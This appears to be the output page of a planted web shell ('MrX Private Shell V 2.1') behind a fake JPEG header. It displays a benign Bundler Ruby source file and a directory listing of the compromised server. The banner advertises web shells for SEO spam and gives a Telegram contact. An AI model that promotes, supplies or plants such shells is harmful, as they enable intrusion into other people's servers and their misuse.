����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# frozen_string_literal: true
require_relative "rubygems_ext"
module Bundler
# Returns current version of Ruby
#
# @return [CurrentRuby] Current version of Ruby
def self.current_ruby
@current_ruby ||= CurrentRuby.new
end
class CurrentRuby
ALL_RUBY_VERSIONS = [*18..27, *30..34, *40..41].freeze
KNOWN_MINOR_VERSIONS = ALL_RUBY_VERSIONS.map {|v| v.digits.reverse.join(".") }.freeze
KNOWN_MAJOR_VERSIONS = ALL_RUBY_VERSIONS.map {|v| v.digits.last.to_s }.uniq.freeze
PLATFORM_MAP = {
ruby: [Gem::Platform::RUBY, CurrentRuby::ALL_RUBY_VERSIONS],
mri: [Gem::Platform::RUBY, CurrentRuby::ALL_RUBY_VERSIONS],
rbx: [Gem::Platform::RUBY],
truffleruby: [Gem::Platform::RUBY],
jruby: [Gem::Platform::JAVA, [18, 19]],
windows: [Gem::Platform::WINDOWS, CurrentRuby::ALL_RUBY_VERSIONS],
# deprecated
mswin: [Gem::Platform::MSWIN, CurrentRuby::ALL_RUBY_VERSIONS],
mswin64: [Gem::Platform::MSWIN64, CurrentRuby::ALL_RUBY_VERSIONS - [18]],
mingw: [Gem::Platform::UNIVERSAL_MINGW, CurrentRuby::ALL_RUBY_VERSIONS],
x64_mingw: [Gem::Platform::UNIVERSAL_MINGW, CurrentRuby::ALL_RUBY_VERSIONS - [18, 19]],
}.each_with_object({}) do |(platform, spec), hash|
hash[platform] = spec[0]
spec[1]&.each {|version| hash[:"#{platform}_#{version}"] = spec[0] }
end.freeze
def ruby?
return true if Bundler::MatchPlatform.generic_local_platform_is_ruby?
!windows? && (RUBY_ENGINE == "ruby" || RUBY_ENGINE == "rbx" || RUBY_ENGINE == "maglev" || RUBY_ENGINE == "truffleruby")
end
def mri?
!windows? && RUBY_ENGINE == "ruby"
end
def rbx?
ruby? && RUBY_ENGINE == "rbx"
end
def jruby?
RUBY_ENGINE == "jruby"
end
def maglev?
removed_message =
"`CurrentRuby#maglev?` was removed with no replacement. Please use the " \
"built-in Ruby `RUBY_ENGINE` constant to check the Ruby implementation you are running on."
SharedHelpers.feature_removed!(removed_message)
end
def truffleruby?
RUBY_ENGINE == "truffleruby"
end
def windows?
Gem.win_platform?
end
alias_method :mswin?, :windows?
alias_method :mswin64?, :windows?
alias_method :mingw?, :windows?
alias_method :x64_mingw?, :windows?
(KNOWN_MINOR_VERSIONS + KNOWN_MAJOR_VERSIONS).each do |version|
trimmed_version = version.tr(".", "")
define_method(:"on_#{trimmed_version}?") do
RUBY_VERSION.start_with?("#{version}.")
end
PLATFORM_MAP.keys.each do |platform|
define_method(:"#{platform}_#{trimmed_version}?") do
send(:"#{platform}?") && send(:"on_#{trimmed_version}?")
end
end
define_method(:"maglev_#{trimmed_version}?") do
removed_message =
"`CurrentRuby##{__method__}` was removed with no replacement. Please use the " \
"built-in Ruby `RUBY_ENGINE` and `RUBY_VERSION` constants to perform a similar check."
SharedHelpers.feature_removed!(removed_message)
send(:"maglev?") && send(:"on_#{trimmed_version}?")
end
end
end
end
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| cli | Folder | 0755 |
|
|
| compact_index_client | Folder | 0755 |
|
|
| fetcher | Folder | 0755 |
|
|
| installer | Folder | 0755 |
|
|
| man | Folder | 0755 |
|
|
| plugin | Folder | 0755 |
|
|
| resolver | Folder | 0755 |
|
|
| settings | Folder | 0755 |
|
|
| source | Folder | 0755 |
|
|
| templates | Folder | 0755 |
|
|
| ui | Folder | 0755 |
|
|
| vendor | Folder | 0755 |
|
|
| build_metadata.rb | File | 1.24 KB | 0644 |
|
| capistrano.rb | File | 189 B | 0644 |
|
| checksum.rb | File | 7.26 KB | 0644 |
|
| ci_detector.rb | File | 3.72 KB | 0644 |
|
| cli.rb | File | 40.13 KB | 0644 |
|
| compact_index_client.rb | File | 2.97 KB | 0644 |
|
| constants.rb | File | 311 B | 0644 |
|
| current_ruby.rb | File | 3.07 KB | 0644 |
|
| definition.rb | File | 42.51 KB | 0644 |
|
| dependency.rb | File | 3.14 KB | 0644 |
|
| deployment.rb | File | 272 B | 0644 |
|
| deprecate.rb | File | 876 B | 0644 |
|
| digest.rb | File | 2.16 KB | 0644 |
|
| dsl.rb | File | 22.11 KB | 0644 |
|
| endpoint_specification.rb | File | 4.49 KB | 0644 |
|
| env.rb | File | 4.92 KB | 0644 |
|
| environment_preserver.rb | File | 1.44 KB | 0644 |
|
| errors.rb | File | 8.35 KB | 0644 |
|
| feature_flag.rb | File | 522 B | 0644 |
|
| fetcher.rb | File | 12 KB | 0644 |
|
| force_platform.rb | File | 544 B | 0644 |
|
| friendly_errors.rb | File | 3.8 KB | 0644 |
|
| gem_helper.rb | File | 6.88 KB | 0644 |
|
| gem_tasks.rb | File | 138 B | 0644 |
|
| gem_version_promoter.rb | File | 5.06 KB | 0644 |
|
| index.rb | File | 4.79 KB | 0644 |
|
| injector.rb | File | 9.97 KB | 0644 |
|
| inline.rb | File | 3.66 KB | 0644 |
|
| installer.rb | File | 9.24 KB | 0644 |
|
| lazy_specification.rb | File | 8.88 KB | 0644 |
|
| lockfile_generator.rb | File | 2.42 KB | 0644 |
|
| lockfile_parser.rb | File | 9.3 KB | 0644 |
|
| match_metadata.rb | File | 769 B | 0644 |
|
| match_platform.rb | File | 1.48 KB | 0644 |
|
| match_remote_metadata.rb | File | 863 B | 0644 |
|
| materialization.rb | File | 1.4 KB | 0644 |
|
| mirror.rb | File | 5.77 KB | 0644 |
|
| plugin.rb | File | 12.17 KB | 0644 |
|
| process_lock.rb | File | 554 B | 0644 |
|
| remote_specification.rb | File | 3.92 KB | 0644 |
|
| resolver.rb | File | 19.17 KB | 0644 |
|
| retry.rb | File | 2.44 KB | 0644 |
|
| ruby_dsl.rb | File | 2.6 KB | 0644 |
|
| ruby_version.rb | File | 4.57 KB | 0644 |
|
| rubygems_ext.rb | File | 14.11 KB | 0644 |
|
| rubygems_gem_installer.rb | File | 4.61 KB | 0644 |
|
| rubygems_integration.rb | File | 12.26 KB | 0644 |
|
| runtime.rb | File | 10.66 KB | 0644 |
|
| safe_marshal.rb | File | 597 B | 0644 |
|
| self_manager.rb | File | 5.92 KB | 0644 |
|
| settings.rb | File | 14.86 KB | 0644 |
|
| setup.rb | File | 1.36 KB | 0644 |
|
| shared_helpers.rb | File | 12.06 KB | 0644 |
|
| source.rb | File | 3.06 KB | 0644 |
|
| source_list.rb | File | 6.09 KB | 0644 |
|
| source_map.rb | File | 2.13 KB | 0644 |
|
| spec_set.rb | File | 9.55 KB | 0644 |
|
| stub_specification.rb | File | 3.48 KB | 0644 |
|
| ui.rb | File | 255 B | 0644 |
|
| uri_credentials_filter.rb | File | 1.29 KB | 0644 |
|
| uri_normalizer.rb | File | 715 B | 0644 |
|
| vendored_fileutils.rb | File | 101 B | 0644 |
|
| vendored_net_http.rb | File | 735 B | 0644 |
|
| vendored_persistent.rb | File | 197 B | 0644 |
|
| vendored_pub_grub.rb | File | 99 B | 0644 |
|
| vendored_securerandom.rb | File | 387 B | 0644 |
|
| vendored_thor.rb | File | 180 B | 0644 |
|
| vendored_timeout.rb | File | 209 B | 0644 |
|
| vendored_tsort.rb | File | 93 B | 0644 |
|
| vendored_uri.rb | File | 496 B | 0644 |
|
| version.rb | File | 500 B | 0644 |
|
| vlad.rb | File | 133 B | 0644 |
|
| worker.rb | File | 3.1 KB | 0644 |
|
| yaml_serializer.rb | File | 2.42 KB | 0644 |
|